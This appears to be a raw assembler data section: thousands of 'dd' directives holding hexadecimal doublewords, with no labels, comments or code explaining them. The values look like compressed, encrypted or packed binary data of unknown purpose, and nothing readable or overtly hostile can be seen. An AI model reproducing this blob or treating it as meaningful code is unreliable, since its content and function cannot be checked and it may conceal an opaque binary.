dd 8C09E95Ch, 31689559h, 336F886Bh, 0AA353943h, 0F7080BCEh
dd 15A39AC1h, 0B9204331h, 910EB321h, 6342D89h, 21AAA6A8h
dd 907CCB52h, 91350D12h, 0D4538BCCh, 57C506B6h, 0FFED0983h
dd 7204B2FDh, 92BE7E31h, 0F068A07Dh, 0E9AEDC3Fh, 39750BBAh
dd 4D44C58Bh, 4CDF0351h, 85AC507Ah, 96A2F4B5h, 0B182FE0Fh
dd 9FE752BEh, 6404C029h, 1E87C5C7h, 658BE73Ch, 76275EDCh
dd 30EB1457h, 0C2EF831Eh, 0B27DDB85h, 509023E4h, 41E76E4h
dd 79D62C74h, 260E0BBAh, 410487F6h, 0E7F45A20h, 5242480Ch
dd 0EF65FA88h, 57750822h, 0E382B8F6h, 983B595Ah, 0BD0A74A5h
dd 8F2DA9E4h, 0DBB2DD50h, 0BA944B7Eh, 1C690F6h, 10413BCAh
dd 0A890576h, 0D9D07214h, 3774F8F9h, 0A8EEEB02h, 6131750Fh
dd 423FBA57h, 0FFE6817Ah, 3B09DF50h, 7A2072F2h, 0E893278h
dd 4AF6100Dh, 0F0DAC027h, 1EC1692Bh, 263B5CDEh, 440ECEF8h
dd 9EF23208h, 913E5741h, 60482B79h, 0C65F958h, 0FAADC82Eh
dd 0B60F2878h, 8010198Bh, 22389821h, 40C70911h, 75179004h
dd 5FF2917h, 206624FBh, 0C2204E06h, 0E32110CEh, 9D2F59B0h
dd 0A646DA73h, 69F3577Dh, 89BF4AB4h, 87EF09Eh, 18256A98h
dd 63A15420h, 0F6D6E883h, 0C5C61BDh, 4B3BC2D0h, 73F001F9h
dd 3C0F8B3Ah, 0CB007CCEh, 5F391A7Ch, 5E157604h, 0E7272153h
dd 9B372E16h, 7D09EB1Bh, 42C7532Eh, 45B1244Ah, 0A3C87238h
dd 58462006h, 7E2FA84Eh, 31F80761h, 13427C85h, 0F0AA3373h
dd 19507C56h, 5EB7144Dh, 0C64FC8ABh, 816A9926h, 0A66CA078h
dd 0F87D0A3Bh, 4746D272h, 62B7CA36h, 0B501574h, 891CE515h
dd 1F29120Dh, 2108D50Ch, 6A63E7E7h, 7F58C25Ah, 64486D5h
dd 950C700Ch, 0DC3FAC86h, 11D7DE81h, 5FF1E8EBh, 0EE4464FEh
dd 3D3398F3h, 0EE28F72Bh, 0E6FE40E0h, 2207781h, 11FEC93Bh
dd 0D23C02AFh, 55EB520Bh, 7415F720h, 144BD3EFh, 574901D7h
dd 27DCE896h, 555FB2F8h, 4C388FDEh, 34FBD2F3h, 0A15FC54Fh
dd 0D2B908A7h, 7E58CBF0h, 61B84DB3h, 0F488801Eh, 50376563h
dd 0BAA93F1Ah, 9C689912h, 4149C711h, 1A1E579Dh, 80D4C183h
dd 89D67507h, 98C5A43Dh, 1437A4E9h, 0A373C83Bh, 5F83933h
dd 0F2EB3B18h, 4CC01B1Ch, 47130623h, 0E8C1940Ch, 1C5F3BDCh
dd 0BCB50329h, 89FE88C7h, 0D73E9286h, 0BD348284h, 49B1972Ah
dd 63881520h, 19543259h, 0A2768DA5h, 2B2D76DAh, 0E5489D3h
dd 5029C022h, 0A2818D18h, 0D5F45734h, 82F17272h, 95F458BBh
dd 0A016709h, 72998D39h, 5E8D4819h, 217A812h, 8D215890h
dd 88173904h, 7303A648h, 29110107h, 9EB8E07h, 585B6183h
dd 0FF8A838Fh, 72884754h, 0F790A0E8h, 9D3E7080h, 8DC66B80h
dd 3B001034h, 8A4373F3h, 2CDB8418h, 9C3C3075h, 805EC758h
dd 4600F3Bh, 0F7EB4643h, 4E73A4C7h, 0EB0945C5h, 0F4226305h
dd 39CCB7B1h, 27B59855h, 8F309982h, 550EBC3h, 354F3A0h
dd 0E8CF7542h, 0BE710EBDh, 7E73F706h, 68166FF6h, 8A7605FEh
dd 0AF0CBF06h, 0E65EA540h, 253E8458h, 1CF5C143h, 0B20258AFh
dd 0AC862B09h, 9985AA19h, 2431C03Ch, 93C21088h, 0C22700EBh
dd 45291373h, 347269A0h, 0EB30F090h, 3C0C4AEh, 0C8A7EEF0h
dd 0C2C41670h, 0D0D1414Ah, 0B8901688h, 0C92F6BEEh, 984DD80Fh
dd 2A24AF79h, 42FAB521h, 570A86C4h, 0D2D8A8BAh, 247404Bh
dd 0FF0CF882h, 7C8DEA80h, 762718C7h, 31E5012h, 288C82Bh
dd 47EA0F01h, 0EB0DE146h, 29657360h, 9A02D303h, 14544683h
dd 0D15572C6h, 730E1131h
dd 58D56F0Ah, 0F47B0DBEh, 8A42DC18h, 8B6A46D9h, 77D0D8FBh
dd 6AC1972Bh, 0E82C4D27h, 0FECE1473h, 6386589h, 804066C0h
dd 5F21ED3Ch, 0A4434730h, 0E66345ABh, 692B0303h, 5BD5D2ECh
dd 1EF969D5h, 0C4ED0469h, 0BE40175Eh, 0DEE2A0C9h, 200C0B3Bh
dd 0AEAE0FC2h, 0D5DB76Fh, 0A708A966h, 91BE41Dh, 59F73102h
dd 99A07C09h, 76FF0689h, 1206186Fh, 89A138AAh, 4A964495h
dd 673CA46Ch, 0F6FE23B8h, 7582C20Bh, 57C02134h, 229EF983h
dd 0C1AE7A14h, 0E11E3D5Dh, 0BD3C0B1Fh, 8D77285Ah, 0BF8ECF67h
dd 0F6DC99h, 5F044F8Ah, 8273E180h, 65CF967h, 0C4EECE86h
dd 0AB7E8172h, 68FC9827h, 7069B74Eh, 0C50A9274h, 1088AEADh
dd 480E8B06h, 4BC6B7D1h, 51BFDDB0h, 0E6BFAAA1h, 7EA1A209h
dd 0AAEAA738h, 0FF1F3ADFh, 0FC6254EAh, 0C562AED4h, 0ACC62501h
dd 0AF855AA9h, 985AA5A8h, 4558BAFh, 8A492007h, 0A9D74B0h
dd 9E1A0860h, 1D2B754Fh, 0AEDFD042h, 0CBCFEABEh, 75023030h
dd 0A40AD762h, 55B40A7h, 8216ADF0h, 8B073560h, 14F86C4h
dd 0C66A98FAh, 5304409h, 291B5D0Ah, 0A2F02E4Bh, 4F34E851h
dd 0DF29E930h, 0C9B33A96h, 59056A0Bh, 0ACDDD0E3h, 0D89B1A4h
dd 63B5556Bh, 23C1EB2Dh, 18672E6Dh, 64ABADC4h, 9A185A05h
dd 733FF774h, 3006BCB6h, 0E8C88A04h, 0FE804AA8h, 0C36ECA89h
dd 3FDA0923h, 0C0AE15Fh, 1302E320h, 0AD88FB24h, 0C89D732Ah
dd 6B031061h, 2662CAC8h, 8CBEF07h, 818A20B3h, 68911A3Ch
dd 0D1478AEh, 1AB60B74h, 228FF47h, 0DF49705Bh, 18739A83h
dd 0B4A1455Eh, 0FE069297h, 0C65E9690h, 470D3707h, 6673958Bh
dd 0D6BD59CCh, 23D54812h, 660A44D1h, 0D1474E15h, 6E417459h
dd 0D448F132h, 4C5C3542h, 8B8F1720h, 88470B00h, 0EB053144h
dd 483B4829h, 803A753Eh, 0DDC8FFB7h, 18EBD42Eh, 0A7E29CD7h
dd 406CE74Ah, 451741Ah, 53C01478h, 0A2E21093h, 89EB0267h
dd 49745E25h, 938806F4h, 88028FE5h, 618E2B0Dh, 4896F61h
dd 4AED3E6Bh, 0BE443E91h, 0FCA887Eh, 5A5DC495h, 353FBD0h
dd 0F333FBE4h, 0B0B0BF2Ch, 178B4DBFh, 0AFDB339Ah, 78AE1C8h
dd 74613C07h, 6A72461Ah, 0C3B02AF1h, 74CD9222h, 8B0359B9h
dd 0CE05F44Ah, 0F908DDFDh, 1427B309h, 5A900F02h, 897C478Ah
dd 4D04C33Ah, 0D33B45E3h, 5F51F2FEh, 0F80C5CA9h, 607E7F54h
dd 2B75E8EEh, 190A4567h, 0E0936A4h, 9A148C75h, 3941CDACh
dd 0A3CAE7C4h, 508CFE55h, 2015C983h, 2315B7EBh, 13724A8Eh
dd 0EAE810A2h, 5F147D37h, 6F249848h, 29097316h, 0FCAB86FEh
dd 3181F620h, 0EB4780CEh, 67FD2A82h, 75C88503h, 93A40B59h
dd 0CC9EECC0h, 4874621Ch, 102EB379h, 4C12C30Bh, 402CF70Ah
dd 1E912825h, 2ACD803Bh, 0F8C8CF1Fh, 9EBA2EA9h, 0BF722F70h
dd 17175CE7h, 94CE1685h, 77175902h, 0D2803074h, 84720CABh
dd 0A4683486h, 4CCC8D4Bh, 3B5B32AEh, 0F7C4DAC3h, 0DF7DCB62h
dd 0D41ADDA5h, 0ACCEC2A8h, 70894D48h, 583B9990h, 0A183304h
dd 1C063F08h, 0CC104813h, 0ABB715CBh, 33266057h, 6C90BFEDh
dd 7E0B57D5h, 791D8B5Dh, 1FFB1EB1h, 74CDC10Fh, 6141F615h
dd 40666060h, 0F0E0E3B5h, 0FEC7CC2h, 348B3FEBh, 40245DFDh
dd 0C1206AF8h, 549702E7h, 0B0D657Dh, 0EB0B8930h, 3C81E971h
dd 74FD3B07h, 0ECF7B130h, 0C0F0AAF5h, 6E89FF55h, 0F87BEC6Eh
dd 2E64EEB6h, 8BEB1C0Ah, 8B512574h, 98EDEF8h, 0B868F981h
dd 0CCBD0C77h, 4B705FAh, 1252EB41h, 0F0250C2h, 0E8F9C117h
dd 0E2448FD4h, 0DC5E8001h, 0FE650EB7h, 0FC4D8803h, 6AFD4598h
dd 87A5024Ah, 90770FDEh, 0A4D8DF1h, 0B296AE9Ah, 25AF5112h
dd 98ABDBFh, 0FDF43402h, 46F32EC4h, 451CA8E4h, 0CD3230Ah
dd 0A596CCE9h, 0FE006FE2h, 82A8105Eh, 0F384250Fh, 8EB4D31h
dd 0B131B801h, 10263C99h, 0D401CB33h, 71FE2408h, 0EA5071BBh
dd 40BFB2EEh, 98EF2473h, 8166BBE5h, 88FE8122h, 32AE3CD5h
dd 29A81008h, 0F1533E86h, 773D3625h, 81B2A9ABh, 821A05Dh
dd 5E745701h, 165ED964h, 0B2C4A4F0h, 1DBE4918h, 7E04844Dh
dd 7A85BA10h, 1CD368E9h, 33EBCBCFh, 169EA2F5h, 0CB96418Bh
dd 8372FC71h, 0DD850410h, 0B821C8D0h, 89FDF61Fh, 0FD0D7420h
dd 62537D61h, 8AB59899h, 0EB88E64Dh, 0E52E7061h, 5A5FF1B1h
dd 42392C53h, 6745F05h, 0EB12B2EDh, 25704B0Fh, 0DEF526FAh
dd 8E263459h, 0EB39D5A5h, 9EF52E48h, 9B1E67Fh, 9471F8Ah
dd 66E97F00h, 2051DBECh, 1106E50Ch, 7631F04Dh, 0C0F70B5h
dd 3914D03Fh, 0FEC5506h, 631DC8Ch, 7C20FB80h, 78170A13h
dd 0C2BC0E7Fh, 1C2F8A3Fh, 0E083D240h, 616139F7h, 3CC68420h
dd 0E1091FADh, 1077985h, 870FD08Ah, 5863A79Ah, 0DA607760h
dd 4A7C924Bh, 0D806CC19h, 0E404E002h, 0DC13FC08h, 47F6CF46h
dd 81269893h, 0A9D3BE5h, 3D2D5003h, 481F1C08h, 0D24F396Ch
dd 8359A60Dh, 8FC748Ah, 413B228h, 800CFF14h, 12629D83h
dd 2AFB3002h, 15237524h, 99CF12Fh, 4AD71EF7h, 8D9E0276h
dd 4479012h, 1FD868F7h, 2F8B9828h, 8E9DCBBEh, 41446085h
dd 0A1E9EBD0h, 0EDD1F08Bh, 8BE842Fh, 0F0F11E3Fh, 905D301h
dd 3A59C004h, 3A468968h, 7439D06Fh, 0ED0C49CBh, 20EA680Ah
dd 0B9466C81h, 50AFB20Ah, 524D4DA0h, 10C8B9FDh, 3F182051h
dd 1475361Dh, 349D7F5Eh, 0C62A0E9Fh, 7892FD7Bh, 8905198Ah
dd 551799D0h, 140DFB1Dh, 0C22ACEF6h, 0D6771974h, 34F46BCBh
dd 4280F6C2h, 47ECA6B1h, 35198F69h, 0F8532C2Fh, 8F156776h
dd 79BA021Ch, 96C36550h, 589617E1h, 28F89124h, 187850E2h
dd 35435FE8h, 706E4C27h, 22D46C09h, 0E98508FCh, 26C42403h
dd 0AF301754h, 93C1BA10h, 883F3BE1h, 6ABFBE7Eh, 831A9645h
dd 9AEDD22h, 0D168C8D2h, 141FE84h, 90F822Bh, 0D094BA82h
dd 0C63F262Dh, 43B527EAh, 4ED69027h, 42D26485h, 4EAC53D4h
dd 15CAF366h, 0EB2D4071h, 4BB53E7h, 9020C380h, 0BD8D4014h
dd 0B7E5C97h, 2F75CA3Bh, 44CF895Ch, 6F0227Fh, 0BFF2CC88h
dd 78218EADh, 2F248721h, 0F83A8921h, 0E90EF4BFh, 8C638885h
dd 0B690F401h, 80327D32h, 0EB5F82D8h, 5AD48329h, 750AF674h
dd 48C53709h, 0E98BC8FAh, 0A09BF108h, 88592AC4h, 9FD4BD3Bh
dd 0C34B4868h, 0F5E91314h, 74036849h, 488B330Bh, 2E515004h
dd 2486F62Ch, 0F17079Ch, 0E8D102BFh, 0F43311D7h, 3215E75Dh
dd 0FACA2B87h, 0F103C4Dh, 9190A146h, 509C330Ah, 3FF31D17h
dd 150E8112h, 5F07A967h, 0BAD43BCCh, 85CC2D51h, 90D89D7h
dd 988EBCF0h, 40C6B84Dh, 0BC491EFCh, 9DD242C9h, 8B9577FFh
dd 0A59F5EFBh, 0DA01ECE2h, 2DE68114h, 5A743C6Eh, 364877B9h
dd 42642543h, 5E594A2Ch, 0F6851205h, 8624172Ch, 2D1257A6h
dd 3B560D75h, 0B9542A1Fh, 4A6294E1h, 35EA34EBh, 691A09A7h
dd 0B1D11706h, 7F0512C9h, 27AFCC1Ah, 74160714h, 0C6812751h
dd 95F969FDh, 4D24B129h, 7DC92792h, 27D4DCA3h, 3CEB2112h
dd 4845BBEDh, 8C90FE58h, 742FF7AEh, 0B11B0E08h, 514EF134h
dd 838FF25h, 8A073E54h, 8017CC74h, 742ECCABh, 288A5D33h
dd 30EAE0C6h, 0EF515A04h, 88022959h, 48C5EBF5h, 8408224Ch
dd 2C33B54h, 9835EB24h, 2039245Bh, 66090B9Ah, 89E89870h
dd 5EB081Bh, 0F60E5711h, 40A36B4Ch, 6A0A7B2Ah, 742B6098h
dd 2B023B0Ch, 8341EB59h
dd 2621743Eh, 644B400Dh, 4010D90Ch, 0EB99C0BCh, 3E0C2553h
dd 0F2577BB7h, 0A082321h, 4208E0EBh, 1A82D233h, 0E4811B74h
dd 787C177Fh, 11731358h, 9D7C53ACh, 0DAE95A8Eh, 0FAC06A13h
dd 18DA04EBh, 7578000Ch, 0E1E78303h, 4973B322h, 38DAFE09h
dd 0F70372F0h, 0C70BC68Bh, 0E4153875h, 0AAB7C264h, 5F614389h
dd 968A6261h, 201A067Fh, 0F420C0EFh, 57505299h, 0FFA58995h
dd 0EF17C7C3h, 0D0BB20CDh, 30C38331h, 55C010C9h, 0B0CC5790h
dd 3950FBFAh, 3717E68h, 62D45D33h, 0C8273F8h, 0B5EB1888h
dd 1BDA2BA3h, 2802406h, 3F84A6D5h, 1580C0F0h, 0AA753039h
dd 4B660B48h, 0C61A2140h, 5373001h, 9483D899h, 108BF85h
dd 0F6FC5D8Bh, 26D343C3h, 8A5DC7AAh, 2D868BDAh, 842014EBh
dd 402B7B0Bh, 0BF60209h, 9F242089h, 92408A01h, 0EBE72BE0h
dd 32F40632h, 0CE79620Ch, 6A561785h, 0B5842220h, 0CCAB1005h
dd 2BD3EA50h, 0F68C61AFh, 5A2DB4E6h, 520A3FD6h, 30C83204h
dd 0DC8A0552h, 0B469AEB1h, 20FC7E29h, 8DF8098Fh, 0DE03FF78h
dd 913A4303h, 0DFB176C8h, 926F1ADh, 0EA098D32h, 1828F8CAh
dd 0C78BC15Ah, 0D0DC504Fh, 59A615EBh, 93125F97h, 0AD82783Ah
dd 0A6977404h, 46FC09A5h, 510D4FAh, 0EDF91313h, 9CEC2116h
dd 1F421CDEh, 1941DCB4h, 991B09CFh, 5A095219h, 22228F12h
dd 7B717F01h, 0FF0C4D00h, 7A780449h, 8A11250Eh, 7F02CCC1h
dd 98B6E1A0h, 0AD0B5B31h, 0E9E997F9h, 9FF88319h, 7E107E10h
dd 0C35D1E8Dh, 0FD086BF8h, 0AA18A31Ah, 195217Eh, 0FF5618DEh
dd 1AD70BA5h, 0E6BAE4F5h, 71CCA3Eh, 0B97F9321h, 0D7EA4B59h
dd 4BEDFE14h, 26659972h, 6D971C7Bh, 6220310h, 6D7D4657h
dd 21375057h, 6F50363Fh, 9D5BE240h, 0C3835591h, 50177E9Fh
dd 8CF0D53h, 304104B9h, 0FC525164h, 0DA668F1Dh, 7371FD3Ch
dd 0F8C2B848h, 764F62E2h, 0A1441202h, 0E6AD7F95h, 332D6A22h
dd 0D2F4C3DBh, 0F6022956h, 0E1CAA0B8h, 72744940h, 42EABCB8h
dd 0D1903D18h, 0BFF17C1Ah, 5C619EDCh, 0A8154270h, 5524319Dh
dd 802F406Ah, 0D260BFBFh, 0AD18ED4h, 518901E8h, 0AAABF387h
dd 7E641D92h, 860F041Eh, 7DF9A4EFh, 8414EE62h, 12D02ABBh
dd 0B785EAEFh, 46500AF3h, 8FF6F41h, 0F2C23BA7h, 26839387h
dd 8B2E6188h, 0EE144304h, 1792A653h, 0C052348Dh, 4E6C11Fh
dd 9E2AAA7Ah, 0F29592B0h, 74CB0315h, 1518A2Ch, 256A8E77h
dd 0FA818C7Eh, 1477C73Bh, 8AC5033Ah, 43149892h, 30479008h
dd 0F5762840h, 813BE341h, 3BD4752Dh, 8E131352h, 2F0422A0h
dd 65F2C172h, 0D15C0512h, 0A3F78CBEh, 0CA8ADA4h, 8D182CF9h
dd 0BF79A4B6h, 0A521CB50h, 0BC8A08F7h, 55EB064Fh, 0FF792C83h
dd 0FA489235h, 0B058AE92h, 5A4008A2h, 7267423Dh, 3AA856F1h
dd 5055482Dh, 0FBA206EBh, 22C30C08h, 2AB604Eh, 1D390DEBh
dd 13814C4Ah, 31420E74h, 8805865Fh, 0B2C1BF3Ch, 702D3FC8h
dd 224525F1h, 75FE5643h, 0F9987C10h, 2524FF18h, 0FD656B54h
dd 86581568h, 0F75FC09h, 0A15EDCA1h, 894A481Ah, 0F462A42Dh
dd 0E85E61F5h, 2E17ABEBh, 1FF00D0Ah, 0DC035848h, 0C7FFB8C3h
dd 12554376h, 808F106h, 5712F911h, 0E3C16D42h, 2B6D27C0h
dd 18A9B5AAh, 43C6D2BAh, 5FC444DDh, 146249B6h, 917F0B05h
dd 0E823FFA7h, 16F20B48h, 0A4BE7C2Ch, 84881388h, 0FD49EE05h
dd 5838D040h, 0F23B31F4h, 4A0E8528h, 1C3A820h, 8D575337h
dd 133AF355h, 0AB40578Bh, 5C1D7409h, 2BBC15B6h, 20B8410Dh
dd 95C97F03h, 27FF8505h, 42AA7395h, 0FF9B8A8Bh, 0DE96A4Ch
dd 0E86A5B5Fh, 68FA8890h, 7B488EEAh, 6231F749h, 0D20F7D56h
dd 4473E7EAh, 1FAE561Eh, 883549F5h, 64A82249h, 0AC4F2EFCh
dd 0A428D077h, 875C68C2h, 731A8DCBh, 11123A26h, 49748FF0h
dd 1081FB16h, 4705948Ah, 6090D265h, 81CEB23h, 10740236h
dd 0B92620C4h, 80E3EB0Ah, 82241DA0h, 12A3D24h, 49EBBF12h
dd 1FFA1674h, 0A1999C9h, 18AB315Ah, 0C1F2C84Ch, 53F9207Bh
dd 320C1F4Ah, 0A137261h, 0E772B7Ah, 0E93C334Fh, 59E0EBA9h
dd 0BE978B4Dh, 55F77A5Eh, 47FA594h, 0B4FD6AC1h, 5948499Eh
dd 0D39411FDh, 3DE021D3h, 0E92E445Ch, 68931EAh, 0CD7B1175h
dd 0CE7DFE29h, 63EB2720h, 38560FC1h, 0D23D2EADh, 4A018A84h
dd 0F6F08780h, 8075B186h, 13740788h, 35CD4147h, 1AB52F19h
dd 14AE4916h, 9908CA88h, 0CB752E10h, 67800AE0h, 0CF19FF4Bh
dd 8060FE0Ch, 7F4A5CC2h, 8D625E33h, 0DC8F01BAh, 0B531D1A9h
dd 5F340DCAh, 0E65D4F5Fh, 0C5ED93C7h, 0AF106188h, 0A6107AC8h
dd 0A0099490h, 8B68FCE4h, 0FB528108h, 287D12C0h, 2CF2CFBh
dd 58A25342h, 62FE0204h, 101D6BC4h, 0C2EC930Eh, 947D7CDAh
dd 3C1195C3h, 84030CFCh, 0A4EA0848h, 0A9C978FBh, 679FC29Ah
dd 0C8F649CAh, 76D233C2h, 0A4B86424h, 8163B06h, 0CF802074h
dd 4AF83D42h, 0C3135ED2h, 1D7213F9h, 77240A0Bh, 5B205E18h
dd 0D5046A0Ch, 0A3A35794h, 0F981E911h, 72CC463Eh, 0CA451012h
dd 88082608h, 45B70A76h, 3C6A7D4h, 53C3899Dh, 7725BF63h
dd 5D977E66h, 0AD0B3724h, 0D1638A82h, 0B5EE66A5h, 75029AE6h
dd 853C8352h, 98674650h, 0BF0A8459h, 758593FCh, 71BB5320h
dd 0F60789FFh, 1446A840h, 0E89D1590h, 0CC58065Fh, 406180Ch
dd 3F8BE6A0h, 14CC5EFAh, 0DF3E267Eh, 8166C010h, 11020C4Eh
dd 6A12B9D3h, 831588BAh, 0FC2BDF97h, 0D672440Bh, 106DE19Dh
dd 8C3E29E9h, 667C8083h, 2783EE3Ah, 0D08F7A18h, 592DC30Eh
dd 44C8D4E4h, 50078840h, 2866266Dh, 4341C43Eh, 0B884EB85h
dd 91BC9390h, 84068A12h, 0A4C86C5h, 130FCC3Bh, 21EF09E1h
dd 0B405EB32h, 8EBB360Bh, 0D1C0212Ah, 0C23A19C0h, 71DC36ECh
dd 456CE720h, 20024B08h, 8893D08h, 46468E26h, 13385401h
dd 32BB10CFh, 12960E9Ch, 80EE92C1h, 9E70253Eh, 900852D9h
dd 0E809CB32h, 0F248E924h, 0EA2EF191h, 0CFF1AB6h, 9B048342h
dd 88EDAFE4h, 45C6F403h, 0E3201F3h, 95E8AD0h, 46C73477h
dd 0AD48A704h, 0FFF44540h, 6456EEE7h, 2DAC4344h, 65EB007Dh
dd 7F4EFB83h, 5E65743Eh, 95F12A0Eh, 54E946F1h, 18540AA7h
dd 754C0A30h, 0C8FE6737h, 7E8030EBh, 2CF63601h, 0BD140CD6h
dd 23F274A1h, 0FCD07CCBh, 5B20AF38h, 27EBF08Bh, 0ACF246CEh
dd 94685A22h, 6CA83AC5h, 40777A37h, 0EB36F108h, 0FD06790Eh
dd 4DF59C61h, 13F810B9h, 82F17D80h, 0D4EB4F5Bh, 9F21427h
dd 0FDA2E2C9h, 30BC1C91h, 0CDE04A3h, 0D469916Fh, 0A07DEA4Ch
dd 901475E4h, 533C3788h, 4F43479Ah, 6078800Dh, 0EDA304ACh
dd 1FDC01B2h, 3313CA20h, 0D606CE83h, 19826EFEh, 102874C4h
dd 7D7A7C63h, 39FD7B5Fh, 1015FA5Fh, 871BD270h, 0E109C1Fh
dd 0FC5A0C3Fh, 0F2398A69h, 0A09740Ch, 0DC82A1F4h, 6665E678h
dd 5EDD816Fh, 211E0602h, 6319050Ah, 11FE2C12h, 4F80164h
dd 6A8E318Ah, 7E67860Fh, 691A0A38h, 82E31B74h, 2802579Bh
dd 4EC3ADBCh, 8FCD4C70h, 17D8C0E9h, 5E64286Ah, 32D0B098h
dd 7E422DFBh, 0E90EA828h, 137A4D01h, 0B58D2B82h, 0EF8CFE3Ch
dd 0E147537h, 640B9D88h, 18523D22h, 752B2650h, 4855174Dh
dd 0DCF42728h, 0ADA86876h, 0EC458E7Eh, 83EFA4FFh, 2FE1E0E6h
dd 4DF40FA4h, 7E259D5Dh, 92BA042h, 443761Ch, 21DC22A5h
dd 15A86613h, 0E40AB017h
dd 5E461E88h, 3138BBF0h, 758B881Dh, 5C295C66h, 0A09423A5h
dd 650741Ch, 6EA5462Ah, 0E4C9815Eh, 0F3D975C2h, 6551F220h
dd 450A92D2h, 1080250Eh, 76053947h, 3D6506C6h, 752D5637h
dd 86057528h, 8A274649h, 28CC2C1Eh, 56AC9A21h, 0A7D0640Fh
dd 641221AFh, 98136408h, 0C653A022h, 0D0A28494h, 0F612A466h
dd 0DDC6405h, 9F154DA0h, 2653CC50h, 0FE3C8381h, 0BE0F5000h
dd 5090C898h, 6148D425h, 0B81428BFh, 49F895CCh, 0D8845A52h
dd 84786EADh, 7E13B691h, 0AEEAA64Fh, 43D304BFh, 9F031BC8h
dd 0E8836381h, 0AF86F70h, 4EB6A292h, 0A4D912EBh, 11AC96B6h
dd 0A21AC34Eh, 43BDC213h, 633BF2D7h, 3FFA22A7h, 0EB562C98h
dd 4C3128Ah, 0CABC2A22h, 6271281Dh, 74EA8B51h, 3F804166h
dd 0A74A9C5Eh, 8DC70A22h, 0A9720178h, 0ED221532h, 440C4C75h
dd 0F128C0D7h, 1158EB01h, 3671F50Eh, 74AD30FBh, 1A5B08D5h
dd 314076D2h, 9D2F743Bh, 2A535810h, 4C65F31Fh, 6A38A057h
dd 0BF5E626Fh, 2F8AF804h, 283A2B3Bh, 306A1436h, 0F52C165Bh
dd 8C60D36Dh, 0EB786A85h, 0E91091CFh, 0C5607F4Ah, 0D2B5FFE8h
dd 0FB9C5ED5h, 7BD1B63Dh, 0C6031A61h, 0B209A95Dh, 568947D1h
dd 0FE8120A7h, 6ECB558Ah, 7487611Fh, 95B475Fh, 42277D36h
dd 0CD7F93Dh, 7362039h, 73D13A47h, 0EBC1C304h, 7AC2083Bh
dd 772FD0F8h, 6900C21h, 0F22B07F0h, 20CA8B46h, 7E183C2h
dd 0DE01B325h, 39CE488h, 0EB754E42h, 0B4EBE932h, 8AC84481h
dd 5EC18BD0h, 9BEB1A1Fh, 19948ECh, 85118A04h, 354E2503h
dd 0D4CACF78h, 769F1A64h, 0D02B3DA5h, 9348A9E5h, 3E43290Eh
dd 844882A3h, 0CDF2EFB4h, 0C7E3250h, 16AC88Bh, 2C985ACBh
dd 0D3E85D0Ch, 30C11CE2h, 4C1603F9h, 33029C0Dh, 74D185CBh
dd 32CF4460h, 0EA0C5275h, 912EFADEh, 0C8458861h, 0CC4E312Ch
dd 4FAE0D47h, 0C92E5967h, 491D7EDBh, 0EA7B13FFh, 454076C2h
dd 0ABAD97CBh, 622E4AFDh, 3BC4114h, 9E011A65h, 0A607E9D4h
dd 0D05272D5h, 50B54408h, 3951B0AEh, 28A501BAh, 84CE3203h
dd 5634027Fh, 72E348E6h, 0A03286A1h, 0BA45ED4h, 0C1B12083h
dd 29084D80h, 85CA594Fh, 0C6C90675h, 4E228031h, 92EF59ADh
dd 4D5CD03Ah, 355D0194h, 0EFB9E9F1h, 75123E49h, 5F95CA4Fh
dd 0A04CE8A2h, 51140DB2h, 55481725h, 9C14B9A3h, 0DC55CBD8h
dd 0B559C706h, 53A0370Dh, 0CCE1E89h, 0D55D0719h, 1553CB4Eh
dd 0F05DE6ECh, 15756F14h, 7D380AB8h, 3645053h, 0EE398465h
dd 0DC39A3E2h, 79D862F3h, 609220CBh, 438D11C8h, 199D019h
dd 3204111Ah, 0F0AE05E5h, 321524ABh, 57B22AAh, 0EDC8FF9Bh
dd 8415E910h, 4DCFBBDCh, 0D16DA033h, 3AAFBCE1h, 611AECD9h
dd 0FD54906h, 74C3B288h, 700A3A3Fh, 5EC53AA9h, 0A217642h
dd 0E7C16C00h, 0F3FEB03h, 0D1BF3C8Dh, 4E48FF1Dh, 0BC1B5EBFh
dd 398FF46Ch, 0DA08E445h, 1F7C158Dh, 6BCDED0h, 74E31B42h
dd 42DFF7D1h, 1176468Ch, 0CECC996Bh, 29CF8C14h, 0D0995699h
dd 4E351048h, 4D09FE05h, 0D7032908h, 10641550h, 62CDF33Eh
dd 6138F2EFh, 0A9F66AEh, 58ED3BFEh, 59826AD2h, 0E9BD5142h
dd 0C9030089h, 0FB4EC33Bh, 0E5550B49h, 0C41426A8h, 28993918h
dd 42C8500Eh, 9FAD3E25h, 1EAC2AE6h, 0BE2A1F4Fh, 8B0CC867h
dd 0E76EF787h, 0AEF09444h, 1369BD54h, 5C82F656h, 6BC7B230h
dd 5105DAC4h, 96286AE7h, 73263917h, 10C485FFh, 9A32525Fh
dd 948776CCh, 0F24EAC38h, 89F95B48h, 0ED79CC2Fh, 107E56E1h
dd 4E1C86Eh, 0B65B68F3h, 697B9D21h, 4814F84Bh, 0EE0530E6h
dd 0B1C68B07h, 0E1816B6Fh, 78CC4AFFh, 950AFA09h, 0C3EC7964h
dd 0C3EC524Eh, 6FB389D6h, 0EC3BCCA1h, 9E83A47Eh, 0F69E5FBFh
dd 102567B2h, 23980644h, 196CFDF8h, 0E7C7F4D6h, 8532D595h
dd 0D7F08F02h, 644E7F0Ah, 184DD14h, 8D1E89BAh, 0FEED90Ah
dd 1540F19h, 0E896AA8h, 963EE576h, 55F8C35Dh, 21CC725Bh
dd 0A62E712Dh, 550C2070h, 58C9535Dh, 0B9B2AAEh, 0B8F15018h
dd 0F1A50B9Fh, 27229A1Dh, 0FEE0F981h, 0D6E32F50h, 199D2022h
dd 210A8E1h, 18814C09h, 570E3148h, 0A84096E9h, 64809A2Ch
dd 11DD9D28h, 3810E29Bh, 9AA5500Ch, 0B895B28h, 70B17A9Eh
dd 6BA3A209h, 21189098h, 35D025C9h, 53C03309h, 35407456h
dd 0DD1BFA15h, 5B4CB412h, 8A770C0Eh, 0C1F6101Ch, 7F0D74C9h
dd 8FDA8893h, 5809C000h, 0ACE4B704h, 93441284h, 158B9883h
dd 12CB8402h, 4BCD9188h, 8E4614D2h, 2FE2957Bh, 19901331h
dd 0B19AFCE2h, 0E3026A22h, 8050303Bh, 0CB23D1F7h, 4EFE283h
dd 0B04E1C1h, 710FECAh, 0B32D4184h, 7783352Ah, 36BEE726h
dd 7B173068h, 3364E9A3h, 0C17CFB2Eh, 2303E908h, 0ACFD10CFh
dd 0FE60A105h, 2201755h, 2AC3846Ch, 1FE90774h, 0A0C4983h
dd 0CF0B04A8h, 8F42FBFEh, 31FB7404h, 79091706h, 2020D3EFh
